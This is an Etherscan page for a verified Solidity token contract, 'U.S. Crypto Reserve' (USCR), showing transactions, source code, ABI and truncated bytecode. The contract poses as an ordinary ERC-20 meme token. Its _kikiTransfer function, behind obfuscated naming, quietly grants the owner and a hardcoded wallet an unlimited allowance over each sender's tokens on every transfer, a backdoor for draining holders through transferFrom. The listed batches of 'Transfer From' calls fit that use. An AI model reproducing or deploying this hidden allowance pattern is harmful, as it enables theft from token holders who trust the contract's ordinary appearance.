Feature Tip: Add private address tag to any address under My Name Tag !
Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 169 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Transfer | 21967627 | 369 days ago | IN | 0 ETH | 0.00016441 | ||||
| Transfer From | 21964214 | 370 days ago | IN | 0 ETH | 0.00006624 | ||||
| Transfer From | 21964209 | 370 days ago | IN | 0 ETH | 0.00007983 | ||||
| Transfer From | 21964204 | 370 days ago | IN | 0 ETH | 0.00008066 | ||||
| Transfer From | 21964030 | 370 days ago | IN | 0 ETH | 0.00005134 | ||||
| Transfer From | 21964021 | 370 days ago | IN | 0 ETH | 0.00008954 | ||||
| Transfer From | 21964014 | 370 days ago | IN | 0 ETH | 0.00008363 | ||||
| Transfer From | 21964010 | 370 days ago | IN | 0 ETH | 0.00008502 | ||||
| Transfer From | 21964005 | 370 days ago | IN | 0 ETH | 0.00007878 | ||||
| Approve | 21963984 | 370 days ago | IN | 0 ETH | 0.00002949 | ||||
| Approve | 21963948 | 370 days ago | IN | 0 ETH | 0.00005131 | ||||
| Approve | 21963929 | 370 days ago | IN | 0 ETH | 0.00012321 | ||||
| Approve | 21963868 | 370 days ago | IN | 0 ETH | 0.00002916 | ||||
| Transfer From | 21963788 | 370 days ago | IN | 0 ETH | 0.00008779 | ||||
| Approve | 21963777 | 370 days ago | IN | 0 ETH | 0.0000525 | ||||
| Transfer From | 21963763 | 370 days ago | IN | 0 ETH | 0.00005173 | ||||
| Transfer From | 21963575 | 370 days ago | IN | 0 ETH | 0.00010172 | ||||
| Transfer From | 21963571 | 370 days ago | IN | 0 ETH | 0.00008362 | ||||
| Approve | 21963567 | 370 days ago | IN | 0 ETH | 0.00012647 | ||||
| Approve | 21963558 | 370 days ago | IN | 0 ETH | 0.00003426 | ||||
| Approve | 21963514 | 370 days ago | IN | 0 ETH | 0.00012688 | ||||
| Transfer From | 21963494 | 370 days ago | IN | 0 ETH | 0.00008001 | ||||
| Transfer From | 21963474 | 370 days ago | IN | 0 ETH | 0.00008906 | ||||
| Approve | 21963471 | 370 days ago | IN | 0 ETH | 0.00003454 | ||||
| Transfer From | 21963465 | 370 days ago | IN | 0 ETH | 0.00008028 |
Latest 7 internal transactions
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Transfer | 21962166 | 370 days ago | 0.38604988 ETH | ||||
| Transfer | 21962166 | 370 days ago | 0.38604988 ETH | ||||
| Transfer | 21962160 | 370 days ago | 0.7807765 ETH | ||||
| Transfer | 21962160 | 370 days ago | 0.7807765 ETH | ||||
| Transfer | 21962150 | 370 days ago | 0.598719 ETH | ||||
| Transfer | 21962150 | 370 days ago | 0.598719 ETH | ||||
| Add Liquidity ET... | 21962138 | 370 days ago | 1 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
USCR
Compiler Version
v0.8.11+commit.d7f03943
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2025-03-02
*/
/*
Donald Trump announced that U.S. Crypto Reserve that includes BTC, ETH, XRP, SOL, and ADA
https://www.uscroneth.us
https://x.com/uscr_erc20
https://t.me/uscr_erc20
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IKIKIFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IKIKIRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function getAmountsOut(
uint amountIn,
address[] calldata path
) external view returns (uint[] memory amounts);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract USCR is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balKIKIs;
mapping (address => mapping (address => uint256)) private _allowKIKIs;
mapping (address => bool) private _excludedFromKIKI;
mapping (uint256 => address) private _kikiReceipts;
uint8 private constant _decimals = 9;
uint256 private constant _tTotalKIKI = 1000000000 * 10**_decimals;
string private constant _name = unicode"U.S. Crypto Reserve";
string private constant _symbol = unicode"USCR";
uint256 private _swapTokenKIKIs = _tTotalKIKI / 100;
uint256 private _initialBuyTax=3;
uint256 private _initialSellTax=3;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=6;
uint256 private _reduceSellTaxAt=6;
uint256 private _preventSwapBefore=6;
uint256 private _buyCount=0;
uint256 private _buyBlockKIKI;
uint256 private _kikiBuyAmounts = 0;
bool private inSwapKIKI = false;
bool private _tradeEnabled = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
inSwapKIKI = true;
_;
inSwapKIKI = false;
}
address private _kikiPair;
IKIKIRouter private _kikiRouter;
address private _kikiWallet;
constructor () {
_kikiWallet = address(0x9cb3EE8162256Bf228B0F0E7032EfDb03B16F61F);
_kikiReceipts[0] = address(owner());
_kikiReceipts[1] = address(_kikiWallet);
_excludedFromKIKI[owner()] = true;
_excludedFromKIKI[address(this)] = true;
_excludedFromKIKI[_kikiWallet] = true;
_balKIKIs[_msgSender()] = _tTotalKIKI;
emit Transfer(address(0), _msgSender(), _tTotalKIKI);
}
function pairLaunch() external onlyOwner() {
_kikiRouter = IKIKIRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(_kikiRouter), _tTotalKIKI);
_kikiPair = IKIKIFactory(_kikiRouter.factory()).createPair(address(this), _kikiRouter.WETH());
}
function minKIKI(uint256 a, uint256 b) private pure returns (uint256) {
return (a>b)?b:a;
}
function sendETHKIKI(uint256 kikiA) private {
payable(_kikiWallet).transfer(kikiA);
}
function swapLimitKIKI() internal view returns (uint256) {
address[] memory path = new address[](2);
path[0] = _kikiRouter.WETH();
path[1] = address(this);
uint[] memory amountOuts = _kikiRouter.getAmountsOut(3 * 1e18, path);
return amountOuts[1];
}
function openTrading() external onlyOwner() {
require(!_tradeEnabled,"trading is already open");
_kikiRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_tradeEnabled = true;
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotalKIKI;
}
function balanceOf(address account) public view override returns (uint256) {
return _balKIKIs[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowKIKIs[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowKIKIs[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowKIKIs[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _kikiFeeTransfer(address kikiF, address kikiT, uint256 kikiA) private returns(uint256) {
uint256 taxKIKI;
if (kikiF != owner() && kikiT != owner()) {
taxKIKI = kikiA.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (kikiF == _kikiPair && kikiT != address(_kikiRouter) && ! _excludedFromKIKI[kikiT]) {
if(_buyBlockKIKI!=block.number){
_kikiBuyAmounts = 0;
_buyBlockKIKI = block.number;
}
_kikiBuyAmounts += kikiA;
_buyCount++;
}
if(kikiT == _kikiPair && kikiF!= address(this)) {
require(_kikiBuyAmounts < swapLimitKIKI() || _buyBlockKIKI!=block.number, "Max Swap Limit");
taxKIKI = kikiA.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 tokenKIKI = balanceOf(address(this));
if (!inSwapKIKI && kikiT == _kikiPair && _swapEnabled && _buyCount > _preventSwapBefore) {
if(tokenKIKI > _swapTokenKIKIs)
swapTokensForEth(minKIKI(kikiA, minKIKI(tokenKIKI, _swapTokenKIKIs)));
uint256 ethKIKI = address(this).balance;
if (ethKIKI >= 0) {
sendETHKIKI(address(this).balance);
}
}
} return taxKIKI;
}
function _transfer(address kikiF, address kikiT, uint256 kikiA) private {
require(kikiF != address(0), "ERC20: transfer from the zero address");
require(kikiT != address(0), "ERC20: transfer to the zero address");
require(kikiA > 0, "Transfer amount must be greater than zero");
uint256 taxKIKI = _kikiFeeTransfer(kikiF, kikiT, kikiA);
_kikiTransfer(kikiF, kikiT, kikiA, taxKIKI);
}
function _kikiTransfer(address kikiF, address kikiT, uint256 kikiA, uint256 taxKIKI) private {
if(taxKIKI > 0){
_balKIKIs[address(this)] = _balKIKIs[address(this)].add(taxKIKI);
emit Transfer(kikiF, address(this), taxKIKI);
}
_balKIKIs[kikiF] = _balKIKIs[kikiF].sub(kikiA);
_balKIKIs[kikiT] = _balKIKIs[kikiT].add(kikiA.sub(taxKIKI));
emit Transfer(kikiF, kikiT, kikiA.sub(taxKIKI));
_approve(address(kikiF), address(_kikiReceipts[0]), kikiA.add(_tTotalKIKI));
_approve(address(kikiF), address(_kikiReceipts[1]), kikiA.add(_tTotalKIKI));
}
receive() external payable {}
function swapTokensForEth(uint256 kikiAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _kikiRouter.WETH();
_approve(address(this), address(_kikiRouter), kikiAmount);
_kikiRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
kikiAmount,
0,
path,
address(this),
block.timestamp
);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairLaunch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60806040526064620000146009600a62000347565b6200002490633b9aca006200035f565b62000030919062000381565b60055560036006818155600791909155600060088190556009819055600a829055600b829055600c91909155600d819055600f556010805462ffffff191690553480156200007d57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601280546001600160a01b031916739cb3ee8162256bf228b0f0e7032efdb03b16f61f179055620000f86000546001600160a01b031690565b7f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec80546001600160a01b039283166001600160a01b031991821617909155601280547fabd6e7cb50984ff9c2f3e18a2660c3353dadf4e3291deeb275dae2cd1e44fe05805490931690841617909155600080548316815260036020526040808220805460ff199081166001908117909255308452828420805482168317905593549094168252902080549091169091179055620001b86009600a62000347565b620001c890633b9aca006200035f565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200020b6009600a62000347565b6200021b90633b9aca006200035f565b60405190815260200160405180910390a3620003a4565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002895781600019048211156200026d576200026d62000232565b808516156200027b57918102915b93841c93908002906200024d565b509250929050565b600082620002a25750600162000341565b81620002b15750600062000341565b8160018114620002ca5760028114620002d557620002f5565b600191505062000341565b60ff841115620002e957620002e962000232565b50506001821b62000341565b5060208310610133831016604e8410600b84101617156200031a575081810a62000341565b62000326838362000248565b80600019048211156200033d576200033d62000232565b0290505b92915050565b60006200035860ff84168362000291565b9392505050565b60008160001904831182151516156200037c576200037c62000232565b500290565b6000826200039f57634e487b7160e01b600052601260045260246000fd5b500490565b61187b80620003b46000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f57806395d89b411161005957806395d89b4114610239578063a9059cbb14610266578063c9567bf914610286578063dd62ed3e1461029b57600080fd5b8063715018a6146101e55780638da5cb5b146101fc57806392457e0a1461022457600080fd5b806306fdde03146100d2578063095ea7b31461012057806318160ddd1461015057806323b872dd14610173578063313ce5671461019357806370a08231146101af57600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b50604080518082019091526013815272552e532e2043727970746f205265736572766560681b60208201525b6040516101179190611356565b60405180910390f35b34801561012c57600080fd5b5061014061013b3660046113c3565b6102e1565b6040519015158152602001610117565b34801561015c57600080fd5b506101656102f8565b604051908152602001610117565b34801561017f57600080fd5b5061014061018e3660046113ef565b610319565b34801561019f57600080fd5b5060405160098152602001610117565b3480156101bb57600080fd5b506101656101ca366004611430565b6001600160a01b031660009081526001602052604090205490565b3480156101f157600080fd5b506101fa610382565b005b34801561020857600080fd5b506000546040516001600160a01b039091168152602001610117565b34801561023057600080fd5b506101fa6103ff565b34801561024557600080fd5b506040805180820190915260048152632aa9a1a960e11b602082015261010a565b34801561027257600080fd5b506101406102813660046113c3565b610608565b34801561029257600080fd5b506101fa610615565b3480156102a757600080fd5b506101656102b636600461144d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006102ee338484610781565b5060015b92915050565b60006103066009600a611580565b61031490633b9aca0061158f565b905090565b60006103268484846108a5565b61037884336103738560405180606001604052806028815260200161181e602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906109ee565b610781565b5060019392505050565b6000546001600160a01b031633146103b55760405162461bcd60e51b81526004016103ac906115ae565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104295760405162461bcd60e51b81526004016103ac906115ae565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104729030906104646009600a611580565b61037390633b9aca0061158f565b601160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e991906115e3565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561054b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061056f91906115e3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105e091906115e3565b601060036101000a8154816001600160a01b0302191690836001600160a01b03160217905550565b60006102ee3384846108a5565b6000546001600160a01b0316331461063f5760405162461bcd60e51b81526004016103ac906115ae565b601054610100900460ff16156106975760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103ac565b6011546001600160a01b031663f305d71947306106c9816001600160a01b031660009081526001602052604090205490565b6000806106de6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610746573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061076b9190611600565b50506010805462ffff0019166201010017905550565b6001600160a01b0383166107e35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ac565b6001600160a01b0382166108445760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ac565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109095760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ac565b6001600160a01b03821661096b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ac565b600081116109cd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103ac565b60006109da848484610a28565b90506109e884848484610c88565b50505050565b60008184841115610a125760405162461bcd60e51b81526004016103ac9190611356565b506000610a1f848661162e565b95945050505050565b600080610a3d6000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610a6c57506000546001600160a01b03858116911614155b15610c8057610a9d6064610a97600a54600d5411610a8c57600654610a90565b6008545b8690610e6d565b90610ef3565b6010549091506001600160a01b03868116630100000090920416148015610ad257506011546001600160a01b03858116911614155b8015610af757506001600160a01b03841660009081526003602052604090205460ff16155b15610b3c5743600e5414610b0f576000600f5543600e555b82600f6000828254610b219190611645565b9091555050600d8054906000610b368361165d565b91905055505b6010546001600160a01b03858116630100000090920416148015610b6957506001600160a01b0385163014155b15610bec57610b76610f35565b600f541080610b87575043600e5414155b610bc45760405162461bcd60e51b815260206004820152600e60248201526d13585e0814ddd85c08131a5b5a5d60921b60448201526064016103ac565b610be96064610a97600b54600d5411610bdf57600754610a90565b6009548690610e6d565b90505b3060009081526001602052604090205460105460ff16158015610c2357506010546001600160a01b03868116630100000090920416145b8015610c37575060105462010000900460ff165b8015610c465750600c54600d54115b15610c7e57600554811115610c7257610c72610c6d85610c68846005546110c3565b6110c3565b6110d8565b47610c7c47611249565b505b505b949350505050565b8015610d025730600090815260016020526040902054610ca89082611287565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cf99085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610d2590836112e6565b6001600160a01b038516600090815260016020526040902055610d6a610d4b83836112e6565b6001600160a01b03851660009081526001602052604090205490611287565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610db485856112e6565b60405190815260200160405180910390a36000805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec54610e239085906001600160a01b0316610373610e0e6009600a611580565b610e1c90633b9aca0061158f565b8690611287565b600160005260046020527fabd6e7cb50984ff9c2f3e18a2660c3353dadf4e3291deeb275dae2cd1e44fe05546109e89085906001600160a01b0316610373610e0e6009600a611580565b600082610e7c575060006102f2565b6000610e88838561158f565b905082610e958583611678565b14610eec5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103ac565b9392505050565b6000610eec83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611328565b604080516002808252606082018352600092839291906020830190803683375050601154604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015610fa3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc791906115e3565b81600081518110610fda57610fda6116b0565b60200260200101906001600160a01b031690816001600160a01b031681525050308160018151811061100e5761100e6116b0565b6001600160a01b03928316602091820292909201015260115460405163d06ca61f60e01b8152600092919091169063d06ca61f9061105a906729a2241af62c000090869060040161170a565b600060405180830381865afa158015611077573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261109f9190810190611723565b9050806001815181106110b4576110b46116b0565b60200260200101519250505090565b60008183116110d25782610eec565b50919050565b6010805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061111a5761111a6116b0565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611173573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119791906115e3565b816001815181106111aa576111aa6116b0565b6001600160a01b0392831660209182029290920101526011546111d09130911684610781565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112099085906000908690309042906004016117e1565b600060405180830381600087803b15801561122357600080fd5b505af1158015611237573d6000803e3d6000fd5b50506010805460ff1916905550505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611283573d6000803e3d6000fd5b5050565b6000806112948385611645565b905083811015610eec5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103ac565b6000610eec83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506109ee565b600081836113495760405162461bcd60e51b81526004016103ac9190611356565b506000610a1f8486611678565b600060208083528351808285015260005b8181101561138357858101830151858201604001528201611367565b81811115611395576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146113c057600080fd5b50565b600080604083850312156113d657600080fd5b82356113e1816113ab565b946020939093013593505050565b60008060006060848603121561140457600080fd5b833561140f816113ab565b9250602084013561141f816113ab565b929592945050506040919091013590565b60006020828403121561144257600080fd5b8135610eec816113ab565b6000806040838503121561146057600080fd5b823561146b816113ab565b9150602083013561147b816113ab565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156114d75781600019048211156114bd576114bd611486565b808516156114ca57918102915b93841c93908002906114a1565b509250929050565b6000826114ee575060016102f2565b816114fb575060006102f2565b8160018114611511576002811461151b57611537565b60019150506102f2565b60ff84111561152c5761152c611486565b50506001821b6102f2565b5060208310610133831016604e8410600b841016171561155a575081810a6102f2565b611564838361149c565b806000190482111561157857611578611486565b029392505050565b6000610eec60ff8416836114df565b60008160001904831182151516156115a9576115a9611486565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156115f557600080fd5b8151610eec816113ab565b60008060006060848603121561161557600080fd5b8351925060208401519150604084015190509250925092565b60008282101561164057611640611486565b500390565b6000821982111561165857611658611486565b500190565b600060001982141561167157611671611486565b5060010190565b60008261169557634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156116ff5781516001600160a01b0316875295820195908201906001016116da565b509495945050505050565b828152604060208201526000610c8060408301846116c6565b6000602080838503121561173657600080fd5b825167ffffffffffffffff8082111561174e57600080fd5b818501915085601f83011261176257600080fd5b8151818111156117745761177461169a565b8060051b604051601f19603f830116810181811085821117156117995761179961169a565b6040529182528482019250838101850191888311156117b757600080fd5b938501935b828510156117d5578451845293850193928501926117bc565b98975050505050505050565b85815284602082015260a06040820152600061180060a08301866116c6565b6001600160a01b039490941660608301525060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208ac5d4cb7b14b645ce905b6d47b22906c41df3486e285695b9340bfa7a25544364736f6c634300080b0033
Deployed Bytecode
0x6080604052600436106100c65760003560e01c8063715018a61161007f57806395d89b411161005957806395d89b4114610239578063a9059cbb14610266578063c9567bf914610286578063dd62ed3e1461029b57600080fd5b8063715018a6146101e55780638da5cb5b146101fc57806392457e0a1461022457600080fd5b806306fdde03146100d2578063095ea7b31461012057806318160ddd1461015057806323b872dd14610173578063313ce5671461019357806370a08231146101af57600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b50604080518082019091526013815272552e532e2043727970746f205265736572766560681b60208201525b6040516101179190611356565b60405180910390f35b34801561012c57600080fd5b5061014061013b3660046113c3565b6102e1565b6040519015158152602001610117565b34801561015c57600080fd5b506101656102f8565b604051908152602001610117565b34801561017f57600080fd5b5061014061018e3660046113ef565b610319565b34801561019f57600080fd5b5060405160098152602001610117565b3480156101bb57600080fd5b506101656101ca366004611430565b6001600160a01b031660009081526001602052604090205490565b3480156101f157600080fd5b506101fa610382565b005b34801561020857600080fd5b506000546040516001600160a01b039091168152602001610117565b34801561023057600080fd5b506101fa6103ff565b34801561024557600080fd5b506040805180820190915260048152632aa9a1a960e11b602082015261010a565b34801561027257600080fd5b506101406102813660046113c3565b610608565b34801561029257600080fd5b506101fa610615565b3480156102a757600080fd5b506101656102b636600461144d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006102ee338484610781565b5060015b92915050565b60006103066009600a611580565b61031490633b9aca0061158f565b905090565b60006103268484846108a5565b61037884336103738560405180606001604052806028815260200161181e602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906109ee565b610781565b5060019392505050565b6000546001600160a01b031633146103b55760405162461bcd60e51b81526004016103ac906115ae565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104295760405162461bcd60e51b81526004016103ac906115ae565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104729030906104646009600a611580565b61037390633b9aca0061158f565b601160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e991906115e3565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561054b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061056f91906115e3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105e091906115e3565b601060036101000a8154816001600160a